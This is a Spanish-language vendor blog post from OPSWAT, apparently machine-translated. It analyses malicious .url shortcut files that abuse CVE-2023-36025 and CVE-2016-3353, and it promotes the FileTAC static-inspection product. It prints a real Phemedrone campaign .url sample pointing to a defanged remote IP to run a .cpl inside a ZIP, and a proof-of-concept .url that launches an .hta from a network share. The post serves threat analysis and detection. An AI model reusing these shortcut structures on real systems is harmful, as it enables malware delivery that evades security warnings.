Envío de registros, alertas y datos de telemetría a través de un diodo de datos

Descubre cómo
Utilizamos inteligencia artificial para traducir el sitio web y, aunque nos esforzamos por garantizar la precisión, es posible que las traducciones no sean siempre 100 % exactas. Agradecemos tu comprensión.

«Shortcut to Malice», segunda parte: Análisis estático de archivos URL maliciosos y las técnicas que se esconden tras ellos

Analizamos cómo los atacantes utilizan la estructura de archivos de las URL como arma, y cómo FileTAC los detecta antes de que se ejecuten.
Por OPSWAT
Última actualización:
Comparte esta publicación

A medida que los ataques basados en archivos se vuelven cada vez más modulares y difíciles de detectar, suelen ser los archivos más sencillos —y no los más complejos— los que desencadenan las cadenas de malware más devastadoras. El archivo .url es un ejemplo de ello. Aunque su estructura es muy sencilla, los archivos URL se utilizan de formas cada vez más sofisticadas, lo que los convierte en un vector de amenaza habitual y subestimado. 

Esta segunda parte de nuestra serie de tres artículos sobre el uso indebido de archivos URL se centra en las técnicas estáticas: qué es lo que los atacantes incrustan en los archivos URL y cómo los defensores pueden detectar las amenazas antes de que se ejecuten. Analizaremos los indicadores de compromiso (IOC), las estructuras de archivo habituales y los patrones históricos de uso indebido. Este artículo también destaca cómo FileTACOPSWAT, una plataforma de inspección estática en profundidad, ayuda a descubrir amenazas en estado latente, antes de que lleguen a activarse.

Archivos URL en contextos maliciosos

Ilustración de una carpeta que contiene un archivo URL resaltado, que representa el análisis estático de archivos URL maliciosos

En los últimos dos años, los archivos URL han ido cobrando cada vez más protagonismo en las campañas de amenazas. Según informó Proofpoint, en octubre de 2023 se produjo un repunte de la actividad, en el que los autores de las amenazas distribuyeron primero el troyano DarkGate y, posteriormente, el RAT NetSupport a sus víctimas.  

Más tarde, a mediados de enero, Trend Micro detectó una campaña activa que propagaba entre las víctimas una variante de un troyano de robo de información (stealer) denominado Phemedrone. En cada uno de estos casos se utilizaron secuencias de amenazas en varias fases, y los autores de las amenazas integraron archivos URL como componentes del ataque. 

Según indican las fuentes, los archivos URL distribuidos en estos ataques tenían un objetivo concreto. Se utilizaron aprovechando la vulnerabilidad CVE-2023-36025, una falla de seguridad en Windows que permitía eludir SmartScreen —lo que, en la práctica, supone una evasión de la defensa al eludir los controles de seguridad—. Mediante el uso de archivos URL manipulados, los atacantes pueden desencadenar una cadena de descargas de archivos maliciosos sin despertar las sospechas de los usuarios con alertas de contenido no fiable. 

Para comprenderlo mejor, conviene repasar el ejemplo del archivo básico de accesos directos de Internet:

[Atajo de Internet]
URL=opswat

Tal y como se indica en la documentación no oficial, el prefijo de protocolo utilizado en el valor de la URL no se limita a http o https como prefijo remoto; se pueden especificar varios protocolos compatibles. Para ver un ejemplo de esto, podemos fijarnos en una muestra de la reciente campaña de distribución de Phemedrone: 69941417f26c207f7cbbbe36ce8b4d976640a3d7f407d316932428e427f1980b.

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9

[Atajo de Internet]
IDList=
URL=file://51.79.185[.]145/pdf/data1.zip/pdf1.cpl
IconIndex=13
Tecla de acceso rápido=0
IconFile=C:\Archivos de programa (x86)\Microsoft\Edge\Application\msedge.exe

Este archivo URL malicioso utiliza el prefijo «file://» en la ruta, lo cual es significativo y está relacionado con la elusión de los controles de seguridad. Aclaremos los atributos importantes de esta URL:

  • El prefijo es «file://», lo que suele indicar una referencia a una ruta de archivo accesible localmente.
  • Sin embargo, la ruta a la que se hace referencia se encuentra en una ubicación de red, una dirección IP remota (no fiable).
  • El destino de la ruta indicada es un archivo .cpl, es decir, un applet del Panel de control, que es un tipo de archivo ejecutable.
  • La ruta al archivo .cpl que figura en la URL se encuentra dentro de un archivo ZIP, una estructura poco habitual que admite Windows para que el Explorador y otros componentes puedan tratar un archivo ZIP como si fuera parte de un directorio.

En conjunto, podemos apreciar el valor que tiene eludir una medida de seguridad como la CVE-2023-36025; la posibilidad de iniciar una cadena de ejecución de contenido malicioso a partir de un tipo de archivo directamente ejecutable, como un archivo .cpl (DLL), sin que ningún control molesto lo interrumpa o lo señale al usuario, resulta muy atractiva para los delincuentes.

El análisis estático y el papel de FileTAC

Aunque gran parte del comportamiento descrito anteriormente se hace evidente en tiempo de ejecución, muchos de los indicios reveladores de un uso indebido —como file:// uso, recorrido de archivos o ofuscación de rutas — son detectables mediante inspección estática. Aquí es donde OPSWAT destaca. FileTAC (File Triage, Analysis and Control) es la solución OPSWATpara llevar a cabo una inspección profunda y avanzada de archivos (DFI) a gran escala, desde cualquier punto de la red, a través del correo electrónico o mediante el envío manual de archivos.

FileTAC realiza un análisis estático en profundidad de los archivos sin ejecutarlos, lo que permite detectar:

  • Anomalías en el protocolo y los metadatos
  • Uso de IconFile, WorkingDirectory y otros campos con fines de ofuscación o movimiento lateral
  • Análisis recursivo de contenidos (por ejemplo, archivos URL dentro de formatos ZIP, ISO o anidados)
  • Detecciones de firmas de YARA para campañas y técnicas conocidas
  • Correlación IOC mediante RetroHunt®, aplicando nuevas firmas a datos de archivos capturados anteriormente

Esta función permite a los administradores de seguridad detectar archivos URL maliciosos antes incluso de que los usuarios hagan doble clic en ellos. 

El análisis de una muestra de archivo coincidente en FileTAC revela los siguientes datos, lo que proporciona información útil a los analistas que examinan el archivo:

Interfaz de FileTAC que muestra el análisis estático de archivos URL maliciosos, con la puntuación de amenaza y los detalles del archivo
Detalles del archivo subido, incluyendo la detección del tipo MIME, los hash criptográficos y las puntuaciones de amenaza
Captura de pantalla de la interfaz de usuario que muestra el análisis estático de archivos URL maliciosos, con la puntuación de amenaza y los detalles del archivo en FileTAC
Vista del contenido del archivo, que permite visualizar tanto cadenas de caracteres como bytes en formato hexadecimal
Interfaz de FileTAC que muestra el análisis estático de archivos URL maliciosos, con la gravedad del evento, el nivel de confianza y los IOC extraídos
Eventos de archivos que muestran las detecciones obtenidas del análisis de archivos, junto con las puntuaciones resultantes para el contexto profundo
Interfaz de FileTAC que muestra el análisis estático de archivos URL maliciosos con los ID de evento, el nivel de gravedad y los detalles de la carga útil
Contexto de detección ampliado que proporciona posiciones de archivo y datos de carga útil coincidentes
Panel de control que muestra el análisis estático de archivos URL maliciosos, con puntuaciones de gravedad y fiabilidad para la detección de amenazas
Detalles de la firma de detección, que incluyen una descripción y referencias, así como enlaces a los archivos detectados en la plataforma

Casos de uso históricos: una cronología de las técnicas de manipulación de URL con fines maliciosos

También cabe señalar que este ámbito concreto de técnicas ofensivas no se limita, por lo general, a estas campañas recientes, ni a la reciente vulnerabilidad que permite eludir las funciones de seguridad. Si echamos la vista atrás, observamos un periodo de varios años en el que se hacen evidentes diversos aspectos relacionados con el conjunto de funciones que rodean a los archivos URL y con la forma en que se aprovecha la superficie de ataque asociada.

CVE-2016-3353 – Vulnerabilidad que permite eludir una función de seguridad de Internet Explorer

Ya en 2016 salió a la luz otra vulnerabilidad que afectaba a Internet Explorer y que Microsoft solucionó con la actualización MS16-104. El aviso sobre CVE-2016-3353 no entra en muchos detalles, pero insinúa la importancia de los archivos URL en el escenario de explotación: 

«En un escenario de ataque a través de la web, un atacante podría alojar un sitio web malicioso diseñado para aprovechar la vulnerabilidad que permite eludir la función de seguridad. Por otra parte, en un escenario de ataque por correo electrónico o mensajería instantánea, el atacante podría enviar al usuario afectado un archivo .url especialmente diseñado para aprovechar dicha vulnerabilidad». 

Posteriormente, Quarkslab analizó esta vulnerabilidad y dejó claro que la naturaleza de esta elusión de la medida de seguridad tiene que ver con el manejo de archivos .url y el cumplimiento de la marca de la web (MOTW), lo que la sitúa en un terreno conocido en relación con el uso indebido de otras funciones y superficies susceptibles de eludir la MOTW, como los formatos de archivos contenedores objeto de abuso (IMG, ISO, VHD, VHDX, etc.). 

La prueba de concepto realizada por los investigadores también muestra una notable similitud con el caso más reciente de CVE-2023-36025:

[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9
[Atajo de Internet]
IDList=
URL=file:///\\192.168.1[.]100\share\test.zip\ms16-104.hta

El archivo de la URL anterior comparte todas las características que hemos enumerado anteriormente para la muestra utilizada con fines maliciosos procedente de la reciente actividad de distribución de malware; el file:// un prefijo, un host remoto no fiable, el contenido de un archivo ejecutable e incluso la ruta de acceso dentro de un archivo ZIP.

Las ventajas de la detección de electricidad estática

Al detectar estos patrones maliciosos en estado inactivo —sin necesidad de ejecutarlos en un entorno aislado—, FileTAC reduce drásticamente el tiempo de detección y ofrece:

  • Una resolución más rápida de los correos electrónicos infectados o de las vulnerabilidades en los dispositivos finales
  • Una clasificación más segura de los contenidos sospechosos sin exponer a los analistas ni a los entornos de pruebas
  • Análisis retrospectivo de datos históricos con fines forenses y de detección de amenazas

Archivos de acceso directo: una grave amenaza

Los archivos URL ya no son meras reliquias del pasado de Windows, sino que se han convertido en herramientas cada vez más esenciales en el proceso de distribución de malware y son utilizados por numerosos intermediarios de acceso inicial en el submundo del crimen. Mediante la manipulación de su estructura y el uso indebido de los comportamientos del sistema, los autores de amenazas utilizan archivos .url para eludir las defensas y cargar cargas útiles de segunda fase. 

La inspección estática es una de las formas más eficaces de detectar estas amenazas de forma temprana, y FileTAC ofrece la precisión, la profundidad y la comprensión del contexto necesarias para lograrlo. 

En la primera parte, sentamos las bases para entender los archivos URL como un tipo de elementos que facilitan las amenazas.

En la tercera parte, pasaremos a analizar el comportamiento: exploraremos cómo actúan los archivos URL en tiempo de ejecución y cómo MetaDefender pone de manifiesto su impacto real mediante el análisis dinámico y la observación completa del sistema.

Etiquetas:

¡Mantente al día con OPSWAT!

Regístrate hoy mismo para recibir las últimas novedades de la empresa, historias, información sobre eventos y mucho más.